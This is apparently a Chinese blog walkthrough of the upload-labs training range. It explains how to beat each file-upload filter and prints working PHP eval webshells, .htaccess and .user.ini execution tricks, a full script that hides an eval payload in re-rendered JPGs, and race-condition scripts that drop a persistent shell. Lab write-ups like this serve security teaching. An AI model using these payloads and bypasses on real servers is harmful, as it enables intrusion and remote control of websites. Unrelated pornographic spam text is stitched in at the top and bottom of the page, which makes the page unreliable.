<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      upload-labs靶場通關教程

      upload-labs靶場通關教程

      Pass-01

      image-20250620165846989

      我們先上傳帶有一句話木馬的1.php

      image-20250620170646729

      image-20250620170519343

      查看頁面源代碼發現是前端js彈窗,我們直接禁用前端即可。

      再進行上傳1.php,我們就可以上傳了。

      image-20250620170956614

      Pass-02

      做完每一題之后,我們最好清理一下上傳的文件,以免對后續操作產生影響。

      依舊上傳1.php,但是發現不行

      image-20250620171457511

      我們抓包,將content-Type改成image/png,再次上傳發現成功上傳

      image-20250620171619665

      從源碼上的角度去看

      image-20250620171815208

      只判斷了file的type的值,就可以繞過了

      Pass-03

      依舊先上傳1.php

      image-20250620172113364

      提示:不允許上傳.asp,.aspx,.php,.jsp后綴文件

      我們只需要上傳.phtml就可以繞過,上傳

      image-20250620172328768

      從源碼上看

      image-20250620172354711

      這里只對后綴進行了限制,并沒有對content-type,所以我們可以原封不動

      Pass-04

      之后過濾的會越來越多,因為是靶場,我們可以直接從源碼入手

      關鍵過濾代碼為

      $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
      

      過濾了非常多,但仔細發現并沒有過濾.htaccess文件

      我們可以先上傳.htaccess文件

      AddType application/x-httpd-php .jpg .txt .png
      

      再去上傳1.png,內容為一句話木馬

      image-20250620172937743

      image-20250620172926440

      Pass-05

      關鍵過濾代碼為

      $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
      

      這里過濾了上一題的.htaccess但沒有過濾.user.ini

      auto_prepend_file=1.jpg
      

      然后再去上傳1.jpg

      image-20250620173508478

      Pass-06

      直接看源碼

      image-20250620175706470

      可以發現少了一行轉小寫的代碼,那我們直接大小寫繞過

      image-20250620175752608

      放包即可上傳

      Pass-07

      image-20250620180819770

      這關源碼刪去了trim()函數,也就是用來去除字符串兩端的空格,所以我們如果在上傳文件的后綴名里面加上空格,不屬于黑名單內容,我們就可以成功進行上傳

      image-20250620180901553

      放包上傳即可

      Pass-08

      image-20250620184011862

      可以看到沒有使用deldot()過濾文件名末尾的點,可以使用文件名后加 .進行繞過,即1.php.

      image-20250620184348722

      Pass-09

      image-20250620184429359

      缺少了

      $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
      

      php在window的時候如果文件名+"::$DATA"會把::$DATA之后的數據當成文件流處理,不會檢測后綴名,且保持"::$DATA"之前的文件名 他的目的就是不檢查后綴名。

      image-20250620184714890

      image-20250620184801895

      注意這里url中要刪掉最后的::$DATA

      Pass-10

      使用 deldot() 刪除文件名末尾的點

      deldot() 函數從末尾向前檢測,檢測到第一個點后,會繼續向前檢測,但遇到空格會停下來

      可以構造文件名:1.php. .繞過檢測

      image-20250620185204669

      url中依舊是去掉后面的字符,保留到1.php

      Pass-11

      image-20250620185346930

      查看源碼我們可以發現他僅僅對文件名稱進行了替換,替換之后的后綴沒有進行黑名單驗證,這里我們就可以使用雙寫文件后綴進行文件上傳

      image-20250620185445069

      Pass-12

      image-20250620185617169

      這一關白名單,通過%00截斷可繞過白名單限制,但需確保PHP版本低于5.3.4且magic_quotes_gpc已關閉。

      原理簡述:PHP函數如move_uploaded_file在底層C語言實現時,會因遇到0x00(URL編碼為%00)截斷字符串。利用此特性,可繞過某些文件上傳限制。

      image-20250620185825092

      即可上傳成功

      代碼分析:
      $is_upload = false;
      $msg = null;
      if(isset($_POST['submit'])){
          $ext_arr = array('jpg','png','gif');
          $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
          if(in_array($file_ext,$ext_arr)){
              $temp_file = $_FILES['upload_file']['tmp_name'];
              $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
      
              if(move_uploaded_file($temp_file,$img_path)){
                  $is_upload = true;
              } else {
                  $msg = '上傳出錯!';
              }
          } else{
              $msg = "只允許上傳.jpg|.png|.gif類型文件!";
          }
      }
      
      知識補充:
      php的一些函數的底層是C語言,而move_uploaded_file就是其中之一,遇到0x00會截斷,0x表示16進制,URL中%00解碼成16進制就是0x00。
      strrpos(string,find[,start]) 函數查找字符串在另一字符串中最后一次出現的位置(區分大小寫)。
      substr(string,start[,length])函數返回字符串的一部分(從start開始 [,長度為length])
      magic_quotes_gpc 著重偏向數據庫方面,是為了防止sql注入,但magic_quotes_gpc開啟還會對$_REQUEST, $_GET,$_POST,$_COOKIE 輸入的內容進行過濾
      

      Pass-13

      第13題與12題思路一樣使用白名單限制上傳文件類型,但上傳文件的存放路徑可控,

      $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
      

      但因為是POST型,需要對%00進行解碼或在16進制中修改,POST不會像GET那樣對%00進行自動解碼。

      image-20250620190253680

      Pass-14

      本關會讀取判斷上傳文件的前兩個字節,判斷上傳文件類型,并且后端會根據判斷得到的文件類型重命名上傳文件

      image-20250620190529013

      使用 圖片馬 + 文件包含 繞過

      補充:
      Png圖片文件包括8字節:89 50 4E 47 0D 0A 1A 0A。即為 .PNG
      Jpg圖片文件包括2字節:FF D8。
      Gif圖片文件包括6字節:47 49 46 38 39|37 61 。即為 GIF89(7)a。
      Bmp圖片文件包括2字節:42 4D。即為 BM
          
      圖片馬制作:
      在cmd里執行 **copy logo.jpg/b+test.php/a test.jpg**
      #logo.jpg為任意圖片;test.php 插入的木馬文件;test.jpg 生成的圖片木馬
      

      image-20250620191131205

      然后將test.png上傳

      image-20250620191225787

      image-20250620191218441

      再點擊黃色的文件包含漏洞字眼

      image-20250620191248125

      然后打一個很簡單的文件包含漏洞

      image-20250620210102055

      Pass-15

      使用getimagesize()檢查是否為圖片文件

      image-20250620210528883

      getimagesize() 函數用于獲取圖像大小及相關信息,成功返回一個數組,失敗則返回 FALSE 并產生一條 E_WARNING 級的錯誤信息。
      主要是針對*.php直接更改文件后綴為圖片后綴,上一題創建的圖片馬仍然可以使用。
      

      image-20250620210632725

      Pass-16

      image-20250620210719557

      exif_imagetype()讀取一個圖像的第一個字節并檢查其后綴名。
      返回值與getimage()函數返回的索引2相同,但是速度比getimage快
      

      方法同Pass-14

      Pass-17

      $is_upload = false;
      $msg = null;
      if (isset($_POST['submit'])){
          // 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
          $filename = $_FILES['upload_file']['name'];
          $filetype = $_FILES['upload_file']['type'];
          $tmpname = $_FILES['upload_file']['tmp_name'];
      
          $target_path=UPLOAD_PATH.'/'.basename($filename);
      
          // 獲得上傳文件的擴展名
          $fileext= substr(strrchr($filename,"."),1);
      
          //判斷文件后綴與類型,合法才進行上傳操作
          if(($fileext == "jpg") && ($filetype=="image/jpeg")){
              if(move_uploaded_file($tmpname,$target_path)){
                  //使用上傳的圖片生成新的圖片
                  $im = imagecreatefromjpeg($target_path);
      
                  if($im == false){
                      $msg = "該文件不是jpg格式的圖片!";
                      @unlink($target_path);
                  }else{
                      //給新圖片指定文件名
                      srand(time());
                      $newfilename = strval(rand()).".jpg";
                      //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                      $img_path = UPLOAD_PATH.'/'.$newfilename;
                      imagejpeg($im,$img_path);
                      @unlink($target_path);
                      $is_upload = true;
                  }
              } else {
                  $msg = "上傳出錯!";
              }
      
          }else if(($fileext == "png") && ($filetype=="image/png")){
              if(move_uploaded_file($tmpname,$target_path)){
                  //使用上傳的圖片生成新的圖片
                  $im = imagecreatefrompng($target_path);
      
                  if($im == false){
                      $msg = "該文件不是png格式的圖片!";
                      @unlink($target_path);
                  }else{
                       //給新圖片指定文件名
                      srand(time());
                      $newfilename = strval(rand()).".png";
                      //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                      $img_path = UPLOAD_PATH.'/'.$newfilename;
                      imagepng($im,$img_path);
      
                      @unlink($target_path);
                      $is_upload = true;               
                  }
              } else {
                  $msg = "上傳出錯!";
              }
      
          }else if(($fileext == "gif") && ($filetype=="image/gif")){
              if(move_uploaded_file($tmpname,$target_path)){
                  //使用上傳的圖片生成新的圖片
                  $im = imagecreatefromgif($target_path);
                  if($im == false){
                      $msg = "該文件不是gif格式的圖片!";
                      @unlink($target_path);
                  }else{
                      //給新圖片指定文件名
                      srand(time());
                      $newfilename = strval(rand()).".gif";
                      //顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
                      $img_path = UPLOAD_PATH.'/'.$newfilename;
                      imagegif($im,$img_path);
      
                      @unlink($target_path);
                      $is_upload = true;
                  }
              } else {
                  $msg = "上傳出錯!";
              }
          }else{
              $msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件!";
          }
      }
      

      根據源碼和題目提示可以得知這是一個二次渲染

      上傳的圖片經過了后綴名、內容類型和imagecreatefromgif函數的嚴格驗證,確保其為GIF格式。隨后,圖片經過了二次渲染處理。然而,在后端的二次渲染過程中,需要識別并標記出渲染后未發生改變的十六進制(Hex)區域。通過利用文件包含漏洞,可以在這些未變區域嵌入惡意代碼,進而使用蟻劍工具進行遠程連接和操作。

      這里的二次渲染圖片使用大菜雞師傅的。

      先上傳一張原始jpg,然后直接下載二次渲染后的jpg

      腳本如下:

      <?php
          /*
      
          The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
          It is necessary that the size and quality of the initial image are the same as those of the processed image.
      
          1) Upload an arbitrary image via secured files upload script
          2) Save the processed image and launch:
          jpg_payload.php <jpg_name.jpg>
      
          In case of successful injection you will get a specially crafted image, which should be uploaded again.
      
          Since the most straightforward injection method is used, the following problems can occur:
          1) After the second processing the injected data may become partially corrupted.
          2) The jpg_payload.php script outputs "Something's wrong".
          If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
      
          Sergey Bobrov @Black2Fan.
      
          See also:
          https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
      
          */
      		
          $miniPayload = "<?=eval(\$_POST[7]);?>"; //注意$轉義
      
      
          if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
              die('php-gd is not installed');
          }
      
          if(!isset($argv[1])) {
              die('php jpg_payload.php <jpg_name.jpg>');
          }
      
          set_error_handler("custom_error_handler");
      
          for($pad = 0; $pad < 1024; $pad++) {
              $nullbytePayloadSize = $pad;
              $dis = new DataInputStream($argv[1]);
              $outStream = file_get_contents($argv[1]);
              $extraBytes = 0;
              $correctImage = TRUE;
      
              if($dis->readShort() != 0xFFD8) {
                  die('Incorrect SOI marker');
              }
      
              while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                  $marker = $dis->readByte();
                  $size = $dis->readShort() - 2;
                  $dis->skip($size);
                  if($marker === 0xDA) {
                      $startPos = $dis->seek();
                      $outStreamTmp = 
                          substr($outStream, 0, $startPos) . 
                          $miniPayload . 
                          str_repeat("\0",$nullbytePayloadSize) . 
                          substr($outStream, $startPos);
                      checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                      if($extraBytes !== 0) {
                          while((!$dis->eof())) {
                              if($dis->readByte() === 0xFF) {
                                  if($dis->readByte !== 0x00) {
                                      break;
                                  }
                              }
                          }
                          $stopPos = $dis->seek() - 2;
                          $imageStreamSize = $stopPos - $startPos;
                          $outStream = 
                              substr($outStream, 0, $startPos) . 
                              $miniPayload . 
                              substr(
                                  str_repeat("\0",$nullbytePayloadSize).
                                      substr($outStream, $startPos, $imageStreamSize),
                                  0,
                                  $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                      substr($outStream, $stopPos);
                      } elseif($correctImage) {
                          $outStream = $outStreamTmp;
                      } else {
                          break;
                      }
                      if(checkImage('payload_'.$argv[1], $outStream)) {
                          die('Success!');
                      } else {
                          break;
                      }
                  }
              }
          }
          unlink('payload_'.$argv[1]);
          die('Something\'s wrong');
      
          function checkImage($filename, $data, $unlink = FALSE) {
              global $correctImage;
              file_put_contents($filename, $data);
              $correctImage = TRUE;
              imagecreatefromjpeg($filename);
              if($unlink)
                  unlink($filename);
              return $correctImage;
          }
      
          function custom_error_handler($errno, $errstr, $errfile, $errline) {
              global $extraBytes, $correctImage;
              $correctImage = FALSE;
              if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                  if(isset($m[1])) {
                      $extraBytes = (int)$m[1];
                  }
              }
          }
      
          class DataInputStream {
              private $binData;
              private $order;
              private $size;
      
              public function __construct($filename, $order = false, $fromString = false) {
                  $this->binData = '';
                  $this->order = $order;
                  if(!$fromString) {
                      if(!file_exists($filename) || !is_file($filename))
                          die('File not exists ['.$filename.']');
                      $this->binData = file_get_contents($filename);
                  } else {
                      $this->binData = $filename;
                  }
                  $this->size = strlen($this->binData);
              }
      
              public function seek() {
                  return ($this->size - strlen($this->binData));
              }
      
              public function skip($skip) {
                  $this->binData = substr($this->binData, $skip);
              }
      
              public function readByte() {
                  if($this->eof()) {
                      die('End Of File');
                  }
                  $byte = substr($this->binData, 0, 1);
                  $this->binData = substr($this->binData, 1);
                  return ord($byte);
              }
      
              public function readShort() {
                  if(strlen($this->binData) < 2) {
                      die('End Of File');
                  }
                  $short = substr($this->binData, 0, 2);
                  $this->binData = substr($this->binData, 2);
                  if($this->order) {
                      $short = (ord($short[1]) << 8) + ord($short[0]);
                  } else {
                      $short = (ord($short[0]) << 8) + ord($short[1]);
                  }
                  return $short;
              }
      
              public function eof() {
                  return !$this->binData||(strlen($this->binData) === 0);
              }
          }
      ?>
      

      image-20250620231707237

      得到一個以payload_開頭的圖片,然后上傳即可

      image-20250620231749254

      Pass-18

      image-20250620232344393

      通過分析源代碼,僅僅只是判斷文件名稱,和修改上傳的文件名稱,如果臨時文件的后綴不在黑名單里面,就刪除這個臨時文件,那么這個臨時文件在沒有刪除之前執行我們上傳的代碼塊呢。

      這也就是條件競爭。

      我們可以利用burp多線程發包,然后不斷在瀏覽器訪問我們的webshell,總會有一瞬間的訪問成功。

      這個頁面中沒有文件包含漏洞,圖片馬的漏洞利用條件就是文件包含。此時沒有這個漏洞了,那么可以使用如下方法。

      將一句話代碼更改為如下內容。

      <?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["a"]);?>');?>
      

      使用Burp Suite連續重放PHP文件上傳請求,同時用Python腳本頻繁訪問該文件。在文件被刪除前訪問成功,即可在目錄下創建一個包含一句話木馬的Tony.php。這種方法在滲透測試中有效,因為它避免了僅訪問phpinfo()文件的局限性。生成的Tony.php不會被服務器自動刪除,從而允許我們通過蟻劍進行連接。

      首先,我們上傳PHP文件,用BP攔截,并發送到攻擊器Intruder

      image-20250620232829213

      image-20250620233157200

      然后我們再寫一個python腳本,通過它來不停的訪問我們上傳上去的php文件

      import requests
      def main():
          url='http://10.234.13.155/upload-labs/upload/tmp.php'
          while True:
              res = requests.get(url)
              print('未找到php文件')
              if res.status_code == 200:
                  print('over!')
                  break
       
      if __name__ == '__main__':
          main()
      

      在BP攻擊的同時我們也要運行python腳本,目的就是不停地訪問tmp.php知道成功訪問到為止。當出現OK說明訪問到了該文件,那么shell.php應該也創建成功了,用蟻劍連一下試試。

      image-20250620234544130

      image-20250620234630105

      Pass-19

      從源碼來看的話,服務器先是將文件后綴跟白名單做了對比,然后檢查了文件大小以及文件是否已經存在。文件上傳之后又對其進行了重命名。

      這么看來的話,php是不能上傳了,只能上傳圖片馬了,而且需要在圖片馬沒有被重命名之前訪問它。要讓圖片馬能夠執行還要配合其他漏洞,比如文件包含,apache解析漏洞等。

      一句話木馬依舊是

      <?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["a"]);?>');?>
      

      image-20250621000115007

      import requests
      def main():
          url='http://10.234.13.155/upload-labs/upload/1.png'
          while True:
              res = requests.get(url)
              print('未找到png文件')
              if res.status_code == 200:
                  print('over!')
                  break
       
      if __name__ == '__main__':
          main()
      

      image-20250621000105500

      Pass-20

      黑名單過濾

      image-20250621001154906

      在php中move_uploaded_file有一個特性
      修改上傳文件名稱為upload-19.php/.

      image-20250621001319494

      image-20250621001334116

      Pass-21

      if(!empty($_FILES['upload_file'])){
          //檢查MIME
          $allow_type = array('image/jpeg','image/png','image/gif');
          if(!in_array($_FILES['upload_file']['type'],$allow_type)){
              $msg = "禁止上傳該類型文件!";
          }else{
              //檢查文件名
              $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
              if (!is_array($file)) {
                  $file = explode('.', strtolower($file));
              }
      
              $ext = end($file);
              $allow_suffix = array('jpg','png','gif');
              if (!in_array($ext, $allow_suffix)) {
                  $msg = "禁止上傳該后綴文件!";
              }else{
                  $file_name = reset($file) . '.' . $file[count($file) - 1];
                  $temp_file = $_FILES['upload_file']['tmp_name'];
                  $img_path = UPLOAD_PATH . '/' .$file_name;
                  if (move_uploaded_file($temp_file, $img_path)) {
                      $msg = "文件上傳成功!";
                      $is_upload = true;
                  } else {
                      $msg = "文件上傳失??!";
                  }
              }
          }
      }
      

      源碼邏輯:

      1. 檢查MIME (通過抓包改Content-Type 繞過)
      2. 判斷 POST參數 save_name 是否為空,
      3. 判斷$file 是否為數組,不是數組以 .分割化為數組
      4. 取 $file 最后一個元素,作為文件后綴進行檢查
      5. 取 $file 第一位和第$file[count($file) - 1]作為文件名和后綴名保存文件
      修改content-type 修改POST參數為數組類型,
      索引[0]為1.php
      索引[2]為jpg|png|gif 
      只要第二個索引不為1,
      $file[count($file) - 1]就等價于$file[2-1],值為空繞過
      

      image-20250621002344527

      posted @ 2025-06-21 00:28  dynasty_chenzi  閱讀(439)  評論(0)    收藏  舉報
      返回頂端
      主站蜘蛛池模板: av日韩在线一区二区三区| 亚洲一区二区三区自拍偷拍| 插插无码视频大全不卡网站| 久久久婷婷成人综合激情| 狠狠色丁香婷婷综合久久来来去| 亚洲欧美日韩成人综合一区| 亚洲国产精品自产在线播放| 91精品国产麻豆国产自产| 国产精品一区二区小视频| 国产AV无码专区亚洲AV漫画| 亚洲春色在线视频| 久久精品人人做人人爽电影蜜月| 国产成人高清亚洲一区二区| 国产精品亚洲二区在线播放 | 成人国产精品中文字幕| 国产乱码精品一区二三区| 欧美 亚洲 日韩 在线综合| 人妻精品动漫h无码| 少妇伦子伦精品无吗| 欧美经典人人爽人人爽人人片| 国产AV福利第一精品| 日日麻批免费40分钟无码| 国产宅男宅女精品A片在线观看| 亚洲一精品一区二区三区| 人妻少妇邻居少妇好多水在线| 云龙县| 亚洲国产成人精品av区按摩| 伊人久久大香线蕉综合5g| 亚洲欧美综合人成在线| 亚洲AV无码一二区三区在线播放| 日韩精品亚洲精品第一页| 99久久无色码中文字幕| 国产乱人伦偷精品视频下| 久久国内精品自在自线91| 天堂av最新版中文在线| 洛隆县| 亚洲码欧洲码一二三四五| 爆乳女仆高潮在线观看| 亚洲中文字幕有综合久久| 公天天吃我奶躁我的在| 国产亚洲综合一区二区三区|